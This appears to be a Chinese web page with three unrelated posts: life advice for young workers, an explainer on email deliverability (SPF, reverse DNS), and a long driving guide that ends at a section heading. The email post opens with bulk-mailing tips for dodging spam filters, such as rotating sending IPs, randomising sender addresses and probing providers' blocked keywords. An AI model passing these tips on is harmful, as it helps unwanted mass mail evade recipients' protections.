• 1.买个闹钟,以便按时叫醒你。贪睡和不守时,都将成为你工作和事业上的绊脚石,任何时候都一样。不仅要学会准时,更要学会提前。就如你坐车去某地,沿途的风景很美,你忍不住下车看一看,后来虽然你还是赶到了某地,却不是准时到达。“闹钟”只是一种简单的标志和提示,真正灵活、实用的时间,掌握在每个人的心中。 2. 如果你不喜欢现在的工作,要么辞职不干,要么就闭嘴不言。初出茅庐,往往眼高手低,心高气傲,大事做不了,小事不愿做。不要养成挑三拣四的习惯。不要雨天烦打伞,不带伞又怕淋雨,处处表现出不满的情绪。记住,不做则已,要做就要做好。 3. 每个人都有孤独的时候。要学会忍受孤独,这样才会成熟起来。年轻人嘻嘻哈哈、打打闹闹惯了,到了一个陌生的环境,面对形形色色的人和事,一下子不知所措起来,有时连一个可以倾心说话的地方也没有。这时,千万别浮躁,学会静心,学会忍受孤独。在孤独中思考,在思考中成熟,在成熟中升华。不要因为寂寞而乱了方寸,而去做无聊无益的事情,白白浪费了宝贵的时间。 4.走运时要做好倒霉的准备。有一天,一只狐狸走到一个葡萄园外,看见里面水灵灵的葡萄垂涎欲滴。可是外面有栅栏挡着,无法进去。于是它一狠心绝食三日,减肥之后,终于钻进葡萄园内饱餐一顿。当它心满意足地想离开葡萄园时,发觉自己吃得太饱,怎么也钻不出栅栏了。相信任何人都不愿做这样的狐狸。退路同样重要。饱带干粮,晴带雨伞,点滴积累,水到渠成。有的东西今天似乎一文不值,但有朝一日也许就会身价百倍。 5. 不要像玻璃那样脆弱。有的人眼睛总盯着自己,所以长不高看不远;总是喜欢怨天尤人,也使别人无比厌烦。没有苦中苦,哪来甜中甜?不要像玻璃那样脆弱,而应像水晶一样透明,太阳一样辉煌,腊梅一样坚强。既然睁开眼睛享受风的清凉,就不要埋怨风中细小的沙粒。 6. 管住自己的嘴巴。不要谈论自己,更不要议论别人。谈论自己往往会自大虚伪,在名不副实中失去自己。议论别人往往陷入鸡毛蒜皮的是非口舌中纠缠不清。每天下班后和你的那些同事朋友喝酒聊天可不是件好事,因为,这中间往往会把议论同事、朋友当做话题。背后议论人总是不好的,尤其是议论别人的短处,这些会降低你的人格。 7.机会从不会“失掉”,你失掉了,自有别人会得到。不要凡事在天,守株待兔,更不要寄希望于“机会”。机会只不过是相对于充分准备而又善于创造机会的人而言的。也许,你正为失去一个机会而懊悔、埋怨的时候,机会正被你对面那个同样的“倒霉鬼”给抓住了。没有机会,就要创造机会,有了机会,就要巧妙地抓住。 8.若电话老是不响,你该打出去。很多时候,电话会给你带来意想不到的收获,它不是花瓶,仅仅成为一种摆设。交了新朋友,别忘了老朋友,朋友多了路好走。交际的一大诀窍就是主动。好的人缘好的口碑,往往助你的事业更上一个台阶。 9.千万不要因为自己已经到了结婚年龄而草率结婚。想结婚,就要找一个能和你心心相印、相辅相携的伴侣。不要因为放纵和游戏而恋爱,不要因为恋爱而影响工作和事业,更不要因一桩草率而失败的婚姻而使人生受阻。感情用事往往会因小失大。 10. 写出你一生要做的事情,把单子放在皮夹里,经常拿出来看。人生要有目标,要有计划,要有提醒,要有紧迫感。一个又一个小目标串起来,就成了你一生的大目标。生活富足了,环境改善了,不要忘了皮夹里那张看似薄薄的单子。
  • 为什么我的网站好端端的,发出去的邮件就是要一定被看成垃圾邮件?请看下文解释!

    邮件群发技巧

    1. 联系各大网站,让他们给加白名单,以公司名义发信,有些会加,有些不会加,网易的需要单独收费
    2. 不给加白名单的,需要联系他们的管理员,交流交流,强调我们的邮件是客户自己发的,不是垃圾邮件,多磨几次,大部分就会给加了
    3. 把from地址和reply地址都设成不存在的地址,设置为接收邮件但是全部丢弃,记录日志
    4. 到一些主流的邮局去注册账号,然后把我们拟定的邮件格式范本向这些地址发送,测试对方设置的关键字,一定要避免广告用语
    5. 用户注册的时候,要建议他们使用某些邮箱地址(加我们白名单,比较友好的)
    6. 邮件范本一定要拟好,不要涉及sex,国内政治等敏感关键字
    7. 发送邮件的IP地址要做轮询,不要用一个IP发,否则很容易被记录单个IP发送邮件过多直接被屏蔽
    8. 发送邮件的from地址也要多个,不要只用一个from地址发,否则也很容易被屏蔽(可以随机生成,域名不可改变)

    在你开始辱骂对方的 mail box 前,你或许可以先从自个儿的网站本身看起。千万不要太相信你的 host 已经给你做好了完美的服务器设定,或许正是因为他们的某些工作,才所以你“好端端”的邮件被对方的 spam scanner 当成是垃圾邮件。

    如果你的用户向你禀报了这个问题,首先你需要自我肯定:我并没有使劲往他的信箱里像洒水那样扔邮件。是吗?真的没有?好,如果对方是比如 GMAIL 公司提供的信使服务,而拒绝了你网站的邮件,那就可以肯定问题出在你这方,而不是出在他们的垃圾邮件扫描机器人那里。

    以下原因会导致你的 email 被看成是垃圾邮件:
    你的网站 IP 地址早已被扔进了黑名单。我不知道,或许是和你拥有同样 IP 地址的某某网站造成的,他或许是一个垃圾邮件发送人,所以导致了这一点。立刻向你的主机商要求获得单独 IP 地址?错!先别着急,看看下列可能性再决定。
    现在是时候检查你的域名 DNS 设定了,首先告诉我,你是使用域名注册商的 DNS 设定?还是使用主机商的 DNS 设定?不管是谁的,现在在浏览器里打开 http://www.dnsreport.com,在“DNS Report”输入你的域名kaiyuanba.cn,然后检查看看有没有“SPF record”,如果没有,可能问题就出在这里。你应该回去找给你设定 DNS 的公司(域名商或者主机商),让他们给你的域名 DNS Zone 添加这个项。
    是不是觉得问题挺多的?“好端端”就有了2个问题?请继续。现在要做的是,看你的网站域名 DNS 有没有设定 “PTR Record”(RDNS),这个在刚才的 DNSReport.com 上并不能特别清楚看到问题在哪儿。随我来,打开 http://www.dnsstuff.com ,看到“Reverse DNS lookup”?输入你网站的 IP 地址,只要在出来的结果屏幕上找到任何“error”,就会导致你的网站邮件被当成是垃圾邮件。
    好了,现在你应该知道你的网站邮件系统问题到底出在哪儿了。请努力要求你的主机商或域名商尽快解决这些问题,这是他们的义务,否则你的网站将会被更多的垃圾邮件扫描器看成是垃圾邮件发送者,对于你的网站以后很不好!

    需要说明的是,目前国内的反向IP几乎无法设置,支持SPF的DNS也几乎没有。推荐一个国外的Free DNS https://www.editdns.net/ 。支持SPF和DomainKeys。
    https://www.xname.org/ 也不错。

     

     原文地址 http://www.kaiyuanba.cn/html/1/131/226/4559.htm

  •   一、开车技巧

      行车安全的基础是技术和经验

      1、上车先看车

      上车前绕车转一圈,看车的外况、轮胎、车底下有没有漏油漏水。一个星期还得揭开盖子检查一次机油、冷却水、刹车油。

      2、点火步骤

      拉紧手刹(防备滑动),离合器踩到底,空档,不踩油门(加速踏板),转动钥匙到Ⅱ档后停6秒钟,让汽车电子系统上电自检,启动润滑系统,然后继续转动钥匙到Ⅲ档点火。点火成功后,挂一档、松手刹、慢抬离合、加油、出发。

      3、开车先热车

      电喷车几乎不用热车。这里热车是指启动润滑系统。停车超过3小时,发动机点着火后,怠速10秒以上,转速表下降到1000左右,再发车。北方严寒天气适当延长怠速热车时间。

      4、一档起步

      轿车变速器设计偏重于速度。如果勉强用二档起步不仅会增加发动机的负荷,而且会导致离合器早期磨损,所以轿车无论排量多少,都应一档起步。

      5、平稳换档

      换档要做到两点:一是车速达到了所换档位的车速范围;二是抬离合器时,抬到“联动点”处暂停(不是慢,而是停!),同时稍加油,感到车有向前的力量了,再轻抬离合器。这样操作,平稳、顺畅、不抖动。

      6、踩准脚刹

      为了保证紧急关头踩准脚刹,一定要固定右脚跟的位置。以脚跟为园心,脚掌向前踩脚刹,向右踩油门。平时只要路面略微有情况,右脚掌立刻放到脚刹踏板上,进入准备状态,确保万无一失!

      7、带档刹车

      加油时发动机产生牵引力,带挡刹车时发动机产生制动力,并且能控制两个驱动轮同步,防止刹车时跑偏。特别重要的是,空档时刹车助力器的辅助力会大大降低。所以任何情况下都要带档踩刹车,当车快要停下时,再踩下离合,退到空档,以防憋灭火。

      8、刹车先看后视镜

      刹车前要看一下后车距离,如果太近,并且自己与前车还有一定的距离,就稍微松一点刹车,避免后车追尾。

      9、时刻掌握脚刹状况

      上路提速前轻点一下脚刹,行驶时间长了轻点一下脚刹,下坡前轻点一下脚刹,接近路口、道口前轻点一下脚刹。做到时时掌握脚刹状况,一旦发现异常,立刻用减档和手刹减速停车。

      10、公交车站有危险

      公交车靠边进站后,经常有乘客下车后急急忙忙向马路对面跑。个别公交出站时不打转向灯,突然上路。

      11、前车突然让路有危险

      正常行驶中,前车突然让路,千万不要往前超车,前面可能发生紧急情况。

      12、不要靠近路边停着的汽车

      停在路边的汽车随时可能打开车门,在行驶时要与路边的任何汽车保持一个安全的距离。如果避让不开,鸣笛提示后减速通过。

      13、向路的中间靠

      在双向混行车道行驶时,尽量离路边的自行车和行人远一点,往路的中间靠,因为对面的车彼此能看到,而路边行人和自行车是背对你的,一定要保持安全距离! 

      14、超车减档提速

      行驶中超车,要当机立断,不可犹豫拖延。看准空位子,迅速提高车速超车。如果车的负载较重,要减一个档位后加油,增大发动机的牵引力,实现超车。超车肯定费油、费车,徒增危险,能不超最好不超。

      15、不能超车的5个地方

      在非高速公路上行驶时:

      ①弯道不能超车,

      ②坡路不能超车,

      ③过桥不能超车,

      ④前方有路口、道口不能超车,

      ⑤对面200米以内来车不能超车。

      16、不要跟车的4个地方

      ①不要跟在外地车后面,突然停车问路,

      ②不要跟在长客车后面,突然停车捡人,

      ③不要跟在出租车后面,突然招手急停,

      ④不要跟在大货车后面。突然警察叫停。

      17、过路口一定要减速观察

      过所有的路口都要提前减速,是绿灯也要减速!防备横向路面来车闯红灯高速强行通过路口,如果你正走到路口中央,如何躲避?大家都看过央视播出的交通监控录像了吧?越是夜间越危险!

      18、路口左转绕大弯

      汽车在路口左转弯时,很

      多驾驶员有抄近走的习惯,把

      车直接开过去,占了左边的车

      道。如果左边车道有车急行,

      就有危险!

      19、过弯道规则

      进弯道前先减速,弯道过半后再加速,又快又稳。如果入弯过快,然后又踩刹车,很容易甩尾或侧翻。

      20、谨慎鸣笛

      突然鸣笛,可能使过路行人惊慌失措,乱跑乱撞。特别是有小孩过马路的时候。应该减速慢行或停车等待。

      21、看不见就鸣笛

      行驶中只要视线受阻,看不见前方路况,比如在道路的拐弯处有高楼高墙,有建筑围栏遮挡,或在山路急转弯处,必须减速、鸣笛。必要时还要打远光,提示对方避让。要防备那里突然跑出人或汽车!

      22、高速紧急,只踩刹车

      高速行驶时转向极其灵敏,略动一点就产生很大转向。如果发生紧急情况,用习惯手法打方向盘,相当危险!所以,高速行驶中突发紧急情况,宁肯只踩脚刹减速,不要乱打方向盘再增加危险。

      23、高速公路的积水

      大雨后高速公路上常有积水,如果躲不开,通过时用力握紧方向盘,保持匀速直线行驶。千万不要有转向和刹车的动作!

      24、下坡带档

      下大岭、下大坡时,不能长时间使用脚刹减速,因为刹车片会发热、损坏、失效。应该事先选挂低速档3档或2档,限制速度下坡。

      25、延时熄火

      汽车长时间高速行驶发动机处于高温状态,这时停车后立即熄火,将对发动机有伤害。正确的熄火方法是,让发动机在怠速状态下运转二分钟左右再熄火。

      26、方向盘锁死

      “方向盘锁死”现象是一种保护功能。在停车熄火拔出钥匙后再转动方向盘,则方向盘被锁住,具有简单的防盗功能。解除的方法是插入点火钥匙,扭动钥匙点火的同时转动方向盘,则自然解锁。

      27、拉高速

      发动机是按照较高转速设计出来的,如果长时间低速工作,会造成燃烧不充分,加速积碳,进一步造成燃烧不充分。行车时不妨常常拉拉高速,让高温烧掉积炭。

      二、停车技巧

      停车有技术,也有艺术。

      28、停车的基本原则

      停车要考虑自己进出方便,还要考虑别人进出方便,更要考虑可能发生的意外情况。

      29、等信号停车

      一分钟以上的等信号停车,应该熄火,符合节油、环保。一分钟以内等信号停车,可以不熄火、空挡、拉手刹,但是千万不能带档。

      30、路边暂停要打转向灯

      在路边暂时停车时,一定要提前打开转向灯,并且观察后视镜,确定没车、没行人时再靠停。停车地点必须是允许停车的,又不影响其他车辆和行人通行。

      31、路边起步要打转向灯

      靠路边暂停后又要开车时,要全面观察路况。不仅看后视镜,还要转过头看。一切正常后,打开转向灯,鸣笛、上路。

      32、路上暂停别跟前车太近

      堵车或等信号灯停车时,至少要留出可以一把掰出去的距离,以防前车故障,自己也被夹在中间出不来。

      33、车头朝外

      无论在哪里停车,尽量车头朝外停,一是走的时候方便,二是有防盗功能。偷车贼如果只有偷一辆车的机会时,偷车头朝里的。

      34、车停明处

      走亲访友夜晚临时停车,要选明亮、宽敞、无障碍、视距远的地方停,千万不要往阴暗的角落里藏。长时间或整夜停车一定进车场。

      35、高楼窗下不安全

      有人从楼上往下倒垃圾、摔瓶子,刮大风时楼上花盆、广告架会掉下来,停车要离开这些危险区,比如停在没有窗户的楼堵头山墙下边。

      36、车里别放什么东西

      车内物品收藏好,从车外能窥见的部位不能有他人感兴趣的东西。放了一个空皮包,可能被砸碎风档玻璃!

      37、路边顺向停车技巧

      路边顺向只有一个车位时,只能选择倒车入位。

      上图左:向前开,让自己的车尾与前车尾对齐。两车相距1米,停车。原地往右打足方向盘,成45°角慢退。

      上图右:当自己车头与前车车尾成一直线时,迅速将方向盘向反方向打足,慢退,车就基本能停好了。

      38、路边横向停车技巧

      上图左:车向前开到自己的车尾与右边汽车车头的右侧成一直线,两车相距1.5米。原地向右打足方向盘,慢退。

      上图右:当车尾进入档口后,快速回正方向盘,并且迅速观察左右两个后视镜,调整车的左右距离。以两侧的车或地面划线为参照,摆正方向,退到停车位。

      ( “打足方向”,是最大量的意思。液压助力打到底的时间不要超过15秒。平时一般用不了这么长时间,如果打到底用的时间长了,可往回带一点,然后再打,反复操作。)

      39、停车场内停车

      停车场内往往是倒车入位,车头朝外。

      高速公路停车

      特殊情况下需要停车,要停在最右侧应急车道内, 并开双闪灯, 三角牌放在车后150 到200米处,一定不要偷懒,50米以内等于没放。

      如果前方有情况需要排队停车时, 所有人员要暂时离开车辆,撤到护栏以外,以防后面来车追尾。

      41、上坡路边停车

      如果路边有路沿,将车驶近路沿,前轮向左打一定角度,停车、熄火、挂1挡、拉紧手刹。让右前轮后部接近或紧靠路沿,防止汽车沿坡倒滑。

      如果路边没有路沿,将前轮向右打一个比较大的角度,避免汽车沿坡倒滑后驶入道路中央。如果路边有可用的砖石,检过来塞上。离开时别忘了送回原处。

      42、下坡路边停车

      如果路边有路沿,将车驶近路沿,将前轮向右打一定角度,让右前轮前部接近或紧靠路沿,防止汽车沿坡顺滑。然后停车、熄火、挂倒档,拉紧手刹。

      如果路边没有路沿,将前轮向右打一个比较大的角度,避免汽车沿坡顺滑后驶入道路中央。如果路边有可用的砖石,检过来塞上。离开时别忘了送回原处。

      三、外出防范技巧

      驾车远行有交通安全问题更有社会治安问题。

      43、备份防失

      备用钥匙拴在身上,时刻不离身;有关证件均有复印件,分开放。

      44、慎重加油

      只到中石化、中石油的加油站加油。

      45、慎重吃住

      拒绝任何陌生人的食品、饮料,不接触陌生人的任何物品和香烟。不在路边小店餐饮、住宿。

      46、行车防抢

      正常行驶中遭遇故意碰撞事故, 不要下车, 锁上车门,手机报警,等待警察。如果对方采取过激行为,应迅速驾车离开现场,继续报警。

      行驶途中暂停或慢行时,锁好车门,升起车窗玻璃,以防盗抢。常有不法之徒乘机向车内示意或敲打车窗,当驾驶员以为是车辆出现了问题下车检查时,不法之徒趁机将车内的财物盗走。不法之徒可能从降下玻璃的车窗伸手抢夺,或者直接拉开车门抢夺。

      47、停车防抢

      在偏僻的景点附近停车或临时购物停车前,观察周边情况,如有闲散人员、不良之辈迹象,不要灭火停车,更不能下车,必要时迅速驾车离开。

      在有停车场的地方一定要把车停到停车场。如果临时需要停车又没有停车场的,车上要留人,锁好车门。

      48、停车防盗

      在晚上住宿地的停车场停车时,要将车内所有物品,包括后背箱中物品,当着守卫的面,全部取出。许多宾馆守卫、保安,监守自盗。有人在北京一大宾馆停车,购物归来整理后背箱,被守卫看到车内有感兴趣的物品,夜里车门被撬,所有物品全部丢失。

      49、起步防抢

      上车之前, 先在远处观察,察看车辆周边有无不良之辈, 但有可疑之处, 暂时不要靠近车辆。

      出车前, 先绕车一周,看车辆外观、车胎、车底下有无漏油漏水,尤其注意看将要经过的路面可能有钉子、玻璃等尖锐的异物。

      上车后, 立即锁上车门,尽快离开。

      四、雨天驾驶技巧

      雨天驾驶的危险主要有三点,一是雨水和泥泞使车轮打滑,二是排气管进水熄火,三是雨水使制动系统失灵。

      50、雨中制动要提前

      泥水路面的制动距离最大的能达到正常路面的3倍!雨天刹车不灵了,慢点悠,提早刹车。

      51、不要降低胎压

      有人每逢雨季,就将胎压降低一些,希望增加轮胎和地面的接触面积防滑。这样做恰恰适得其反! 增加接触面积就降低轮胎单位面积对地面的压力,使排开轮胎与地面之间水膜的力量减弱,使轮胎更容易打滑。因此,降低胎压不能防滑,增加胎压反而防滑。

      52、地面未湿透时更容易打滑

      胎纹可以有效排开水膜,但是不能有效排开泥膜。刚下雨时,路面的尘土还没有被雨水冲走,这些尘土吸收了雨水后,变成胶体状的泥膜,使轮胎更容易打滑。所以在刚下雨、路面未湿透时也要当心。

      53、视线不清要停车

      在大雨中开车视线不清是最大的隐患!在暴雨中即使雨刷高速摆动,也无法拨开玻璃上的雨水,使你无法看清前方。这时,你最好赶紧靠路边停车等待,同时打开双闪灯。

      54、打雷不下车

      即使闪电击中汽车,电流会经车身表面传到地面,车内反而安全。不过车窗一定要全部关紧,收音机的天线一定要收起来。

      55、过积水路段

      路过积水路段时,观察其他车辆行驶的情况,确保避开深坑、闇阱等障碍物。

      当积水淹没排气管时,还要防排气管进水。为此,必须在入水前挂上低速挡,稳住大油门匀速直线开过去。

      为防止排气管进水,入水后不能收油;为防止驱动轮失去牵引力,中途不得换档;为减少行进中的阻力,要保持匀速直线行驶。

      如果因收油排气管进水憋灭火,甚至气缸进水,决不可再打火了,只能靠救援。

       汽车经过积水路段或在暴雨中行驶后,制动摩擦片进水能使制动失效。可采用低速行驶中同时踩油门和脚刹的办法,让刹车片发热排掉水分。

      56、自动档汽车涉水技巧

      自动档汽车在水深超过排气管时涉水的要点和手动挡车相同。

      具体操作是:挂2挡,右脚踩油门,固定较大的油量,直至出水前保持不变。一旦需要减速,用左脚踩脚刹减速。这样操作,尾气足不进水,可顺利驶过积水路段。

      57、过泥泞地段

      路过泥泞地段一是防滑,二是防陷,所以必须按前车的车辙走。进入泥泞地段之前先换低速档,中途不可换挡,要一口气匀速直线开出去。中途换档车就会瞬间失去动力而停车,想再起步就难啦。

      万一陷入泥泞,千万不要冒然踩油门,否则驱动车轮只会使车愈陷愈深。如果没有其他垫车轮的东西,可将打滑轮胎的气放到快要扁了,使轮胎发软变形,增加抓地的摩擦力。发动机启动后挂2档,半离合,加油,慢慢起步,大都能顺利通过。

      若仅有一侧轮胎打滑,则轻拉手刹加大油门。因手刹的作用,空转的车轮会停止转动,而另一边的车轮增加驱动力,这就有可能轻松地驶出泥泞地了。

      五、雪天驾驶技巧

      北方寒冷冬季的驾驶困难主要有两点,一是气温低,启动困难;二是路面滑,方向和刹车易失控。

      气温在-20°C左右发动露天停放的电喷汽车,没有遇到过困难,但是接近-30°C,常常发动不起来,特别是电瓶电不足的时候。

      58、上车前清霜雪

      上车之前清除汽车前后风挡、灯罩、后视镜上的霜雪,清理脚底的积雪。重点是脚刹踏板不能沾上冰雪打滑。再查看防冻液、机油、轮胎。

      59、严寒天气发动汽车

      空档踩下离合,不踩油门,瞬时打火不打着,每次间隔10秒以上,最少打3次。目的是启动润滑系统。打着火以后,仍空档踩离合,怠速热车。1分钟以后松开离合,若着不住,再踩一会。直至着住火后,松开离合,继续怠速热车1-2分钟。

      如果忙活半天还是打不着火,而且电瓶没电了,就别再打了,电瓶受不了啦!有三种选择:一是借它车电打火,二是换电瓶,三是拖到维修部。

      60、冰雪路面起步

      在又硬又滑的冰雪路面起步,挂2档,小油门,抬起离合器到联动处,略停一下,微抬起一点,车如果动了,继续抬起来,缓加油,走车。如果车轮打滑走不起来,就踩下离合踏板,改挂1档,然后再抬再踩,让汽车前后晃动,逐渐扩大前后晃动的幅度。几次后,看准汽车向前晃动时,抬起离合踏板,走车。如果还是走不起来,那么看车后有多大距离,向后倒退一点,再试,往往都能成功。最后,还是走不起来,就要清理驱动轮下的冰雪,或垫砂土等,麻烦一点了。

      61、松软雪地起步

      刚下的松软积雪达到10厘米以上时,停车后再起步,也要挂2档,小油门,慢抬离合,慢慢起步。要点是让车轮慢慢转动,千万不要转快了。如果按通常操作,车轮会打滑空转,反而走不起来。如果雪地打滑走不起来,就往后退一点再试。实在走不起来,就要人推了,或者清理驱动轮下的雪,垫沙土等防滑物。

      62、低速度

      行驶中,在没有把握的光滑路面,速度控制在20-30 公里左右,进入有车辙的正常通行道路,时速可达40公里,见到除雪后的黑色路面,可正常驾驶,但要时时注意可能突然出现的冰雪。

      63、缓加油

      在光滑冰雪路面行驶时,加油要轻、缓,加急了车轮空转打滑、方向失控。

      64、不空档

      在冰雪路面行驶时,更不允许挂空档滑行。特别是下岭下坡时,一定事先挂低速档,稳妥行驶。

      65、巧减速

      在光滑冰雪路面行驶,从高速减为低速时,不能急收油、不能踩脚刹!只能用逐步减档的方法来减速,利用发动机低速档的制动力进行减速。速度很慢了才能收油、空挡、踩脚刹。

      如果你不知道冰雪路面的刹车方法,抬起油门踩脚刹,后果不堪设想!

      66、慢转向

      转向也要先减速,然后慢打方向盘,适当加大转弯半径。转向操作要均匀和缓。方向盘打急了不但不拐弯,反而使转向轮打滑,失去方向控制。

      67、走沟槽

      车轮选择走冰雪路面上的顺向沟槽或车辙,起码有一个车轮走在沟槽或车辙里,以防侧滑。大雪覆盖没有车辙的地方千万不能去。

      68、保持距离

      在冰雪路面,汽车随时可能无规则打滑,应尽量远离其他人和车,防范未然。

      69、打滑失控怎么办

      摆脱冰雪路面失控打滑状态,不是踩刹车,反而是点击油门,用间断加油提速的方法,让驱动轮找到作用点,恢复驱动能力,从而恢复汽车控制方向的能力。

      六、省油技巧

      汽油是越来越贵,只能从节油上打主意了。

      70、控制最佳转速

      行驶中,一般电喷车的发动机转数在2200-2500左右最合适。不论在哪个档位,均保持发动机转数在2200-2500左右。过低转速车走不动,耗油不走道,还伤发动机;过高转速增加无效油耗,也伤发动机。

      71、保持最佳车速

      最省油的行车状态是匀速直线行驶,最省油的车速小排量车是时速60-80公里,中排量车是80-100公里0。

      72、控制换档转速

      换档时要比正常行驶状态略微多加一点油,让转速表达到2500多一点。如果低于2000转时换档,换档后速度还要往下降,有脱档的感觉,还得加油找回来,反而要多耗油。

      73、不变道、不超车

      在路上一会儿变道,一会儿超车,一会儿急加油,一会儿急刹车,费油又费车,危险系数提高了好几倍,非常不值得、不必要。

      自家车行驶时切记尽量不变道、不超车,保持中速、匀速行驶,安全省油。

      74、不要狠刹车

      如果前面需要停车,应该提前收油,带档滑行减速,而不是冲到跟前狠刹车。刹车实际消耗的是宝贵的汽油,刹的越狠,浪费的越多。

      75、走好路,走车少的路

      如果想走的近路堵车历害,车速很低跑不起来,油耗反而很大,还不如找一条绕远但路面好的路,省油省车。

      76、满胎压

      确保轮胎气压正常。轮胎气压过高或过低,都会增加耗油量。汽车轮胎的压力要严格按各车说明书的要求执行。

      在夏季为防止路面高热,特别是跑长途时轮胎发热,轮胎内气体膨胀,压力增加许多,可略减一点气压,减10%。

      77、半箱油

      减轻车身重量,就是降低耗油量。不要装了满满一箱油在市内跑近道,这就是“油耗油” !考虑到汽油泵装在油箱里,靠汽油散热降温,所以如果不出远门,保持半箱油最好。同时,车内一定精简,少一分重量,省一分油。

      七、使用车灯技巧

      汽车上所有的车灯都由电瓶供电,电瓶的电是汽油转化的。无效使用车灯浪费汽油,损耗灯泡,损耗灯壳。

      灯泡是易损件,应有备件,随时更换。 

      78、夜行照明灯,俗称"大灯"

      大灯有远光、近光两种形式。在市区有路灯的道路上用近光,在无路灯道路或高速公路行驶时开远光。

      通过路口或者超车时,交替变换远近光来提示。

      79、夜行示宽灯,俗称"小灯"

      用来在夜间显示车身宽度和长度的,提示其他车辆和行人看到自己。当你从后视镜看不清楚后边的时候,就该点亮小灯,包括下雨天。  

      80、转向灯

      应在转弯路口前100米左右时打开。开得过晚会使后面尾随车辆、对面车辆、过往行人思想准备不足,忙中出错。在红绿灯道口排队等待转向时,只要不是排第一,就不需要长时间闪烁,等车可以转弯移动时再闪不迟,否则费电费灯,跟在后面的司机晃得心烦。  

      81、刹车灯

      刹车尾灯用来告知后车要减速或停车。如果有故障极易造成后车追尾事故。刹车灯的双尾灯泡功率比一般小灯泡要大许多倍,会产生高温,长时间踩着脚刹,会让刹车尾灯长时间点亮,影响使用寿命,浪费电。

      82、雾灯

      可以帮助驾驶员在雾天提高能见度,告示对面来车,互相避让,安全会车。所以,雾天行驶一定要开雾灯,决不能用小灯取代。雾灯的功率通常为55W/盏,与大灯相似,但散热空间远不如大灯。所以,停车后一定立刻关闭,防止过热,烤坏灯罩。

      八、自动档汽车操作要点

      自动挡汽车也有不随便的地方。

      83、档位及功能

      ① P,停车档。

      P 挡的作用有两点,一是使发动机与变速器脱离,二是把连接驱动轮的传动轴锁定在变速器壳上,从而强制锁定驱动轮。因此,在P档档位时,可以启动汽车发动机,汽车驱动轮不会动。还可用于怠速停车和关闭发动机停车。但是绝不可以在车轮转动时挂入P挡!那将毁坏变速器和传动系统!

      ② R,倒车档。

      ③ N,空档。

      N挡的作用也是使发动机与变速器脱离,但没有锁定传动轴的功能。在N档档位时,可以启动汽车发动机,即可用于普通停车状态点火,还可用于行驶途中熄火后不停车点火,以及用于怠速停车、被拖走等。

      需要注意的是,汽车行驶中切不可长时间挂入N档滑行。自动档车不挂进档位时,变速器不工作,油泵减少润滑供油。挂N挡滑行时,变速器里的部分齿轮与车轮在同步转动,会使变速器内的部件温度升高,造成损坏!同样道理,车辆发生故障,需要由其他车辆拖带行驶时,只有把挡位放在N挡才能被拖走,但是拖带速度不要超过30km/h,总行驶距离不能超过50km,以免变速箱因缺润滑油运转造成损坏。如果有条件,最好将驱动轮抬起再拖动。

      ④ D,前进档的最高档。

      在D档状态,变速器根据速度和动力情况在各前进档之间自动切换,D档是最常用的前进档位。

      ⑤ 3,前进档的3档。

      挂3档后,变速器在3-1档之间自动切换,不会升入上一档。可在交通不太通畅,时速60公里以下时使用,可以避免3档和D档间的跳档磨损。

      ⑥ 2,前进档的2档。

      用于湿滑路面起步,或者下坡限速时使用。挂2挡可避免2挡和3档间的跳档磨损。

      ⑦ 1,前进档的1档。

      具有最大牵引力和限制力,只在特殊要求最大牵引力或限制力的场合使用。

      84、启动

      右脚踩下脚刹踏板,变速手柄推向P挡或N档(建议用N档,可以避免P挡点火后,变速手柄拉到D档等前进档位时,经过R档时,变速箱有一次反向冲击。)转动钥匙发动汽车。钥匙转到第Ⅱ档时,停6秒钟,让汽车电子系统通电自检,启动油泵,然后再转到第Ⅲ档启动马达。在汽车发动机启动后,仍踩住脚刹踏板,把变速手柄拉向所选择的挡位(要用眼睛确定,不要仅凭感觉),右脚缓慢松开脚刹踏板,汽车靠怠速开始慢慢行驶,这时右脚以脚跟为圆心,脚掌向右转动,缓慢踏下油门,使发动机转速均匀提高,汽车逐渐加速行驶。

      自动档汽车的脚刹踏板,与手动档汽车的不一样,具有相当于手动档汽车的脚刹和离合器的双重功能。踏下自动档脚刹踏板的同时,也断开了发动机与后面传动机构的连接,所以不会憋灭火。

      85、手动变换挡位的规则

      车辆行驶中各前进档可以手动从低挡向高挡换挡,但从高挡往低挡换则要在一定速度范围内进行。即车速在某挡要求的范围内,才可手动换至该挡。例如,不能在90km/h时换入2挡,因为此时变速器至少应该在3挡运行,要待车速降到50km/h以下时才能手动换入2挡。同理,换1挡要在车速降至20km/h 以下进行。

      一般档位在N、D、3间切换时不用按换档杆上的按钮,从低档往高档挂也不用按换档钮。从高档往抵挡挂,如从3往2、1档上挂时,必需按换档钮(也有错位排列的排挡杆没有换档按钮,如别克凯越等)。

      要注意的是,倒挡与前进挡的转换一定要在车辆完全停止状态下进行。右脚踏下刹车踏板,车停稳后,再改挂相反方向的档位。

      86、自动变换挡位的规则

      在行驶中,逐渐踏下油门,自动变速器会根据车速和牵引力的需要,相应变换到所要求的档位。

      在行驶中,尽量不要将油门快速地一脚踩到底。因为这样做将使自动变速器执行“强制低挡”,即立即强制换入低挡,使发动机低档高速运转,造成磨损加剧。

      如果车载较轻,路面又平,驾驶员想在不增加供油量的情况下,提前升档提速,达到节油的目的,则可以轻抬一下油门,然后再恢复原来的状况,自动变速器就会提前升一个档位,使车速度得到提高,行驶更顺畅。

      自动变速器高挡位向下自动兼容,低挡位却不能自动向上变挡。若选择3挡,变速器可在3挡与1挡之间根据车辆的速度与使用条件自动选择合理挡位,自动升挡、降挡。若选择2挡,就只能在2挡与1挡间自动变换,不能升到2挡以上的3挡等挡位。这时,如果要加大油门提高车速,也只能使发动机超速运转,并不能提升档位。

      1挡、2挡有发动机制动功能,因此,当车辆行驶在下坡路时,可以预先选择2挡或1挡,以便合理利用发动机制动,控制车辆下坡速度,避免脚刹过热受损。

      在一般路面行驶与上坡时,建议使用D挡,这时车辆能自动选择理想挡位,无需驾驶者操心。

      有些高档轿车增加了可供选择换挡模式的功能,如运动模式键(SPORT)、冰雪路模式键(ICE)等。相对于通常的舒适模式,选择运动模式会使车辆的加速反应性加强,但舒适性、经济性下降。冰雪路模式从2档起步,减小了车辆牵引力,防止车轮在冰雪路上起动时打滑。

      87、收车要点

      行驶结束停车时,自动档车必须熄火后挂入P档才能抽出钥匙。很多人习惯停下来直接推到P档再熄火,拉手刹。这种做法让汽车的运动惯性撞击变速器,带来隐性伤害,自家车不能这样操作!

      正确的做法应该是:车进入停车位置后,踩住刹车,将变速手柄推到N档,拉起手刹后熄火,车停稳后才将变速手柄推入P档,抬起脚刹。

      简单点说,熄火后停稳了,最后挂P档。

      九、女性开车的危险习惯

